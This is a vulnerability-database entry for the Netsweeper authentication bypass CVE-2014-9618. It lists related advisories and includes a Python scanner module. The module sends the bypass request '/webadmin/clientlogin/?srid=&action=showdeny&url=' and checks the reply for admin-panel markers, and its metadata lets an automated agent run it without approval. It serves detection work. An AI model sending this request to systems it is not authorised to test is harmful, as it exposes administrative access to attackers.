Netsweeper - Authentication Bypass Detection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Netsweeper 4.0.8 - Multiple Vulnerabilities | 13 Aug 201500:00 | – | zdt | |
| Netsweeper Authentication Bypass Vulnerability (CNVD-2017-30729) | 26 Sep 201700:00 | – | cnvd | |
| CVE-2014-9618 | 19 Sep 201715:00 | – | cve | |
| CVE-2014-9618 | 19 Sep 201715:00 | – | cvelist | |
| Netsweeper 4.0.8 - Authentication Bypass (via New Profile Creation) | 21 Aug 201500:00 | – | exploitdb | |
| Netsweeper 4.0.8 - Authentication Bypass (via New Profile Creation) | 21 Aug 201500:00 | – | exploitpack | |
| Netsweeper - Authentication Bypass | 14 Oct 202602:05 | – | nuclei | |
| CVE-2014-9618 | 19 Sep 201715:29 | – | nvd | |
| Authentication flaw | 19 Sep 201715:29 | – | prion | |
| PT-2017-6374 | 19 Sep 201700:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Client Filter Admin portal in Netsweeper before 3."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Netsweeper - Authentication Bypass Detection',
'description': 'The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2014', 'netsweeper', 'auth-bypass', 'packetstorm', 'edb', 'xss', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz',
'https://nvd.nist.gov/vuln/detail/CVE-2014-9618',
'https://www.exploit-db.com/exploits/37933/',
'http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2014-9618',
}
def run(self):
r = self.http_request(method="GET", path='/webadmin/clientlogin/?srid=&action=showdeny&url=', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('name=formtag action="../clientlogin/?srid=&action=showdeny&url="', 'placeholder="Profile Manager">', '<title>Netsweeper WebAdmin</title>',)
if (all(m in body for m in body_all)):
self.set_info(
severity='critical',
reason="Netsweeper - Authentication Bypass detected",
path='/webadmin/clientlogin/?srid=&action=showdeny&url=',
)
return True
return False
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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 39.8
EPSS0.72696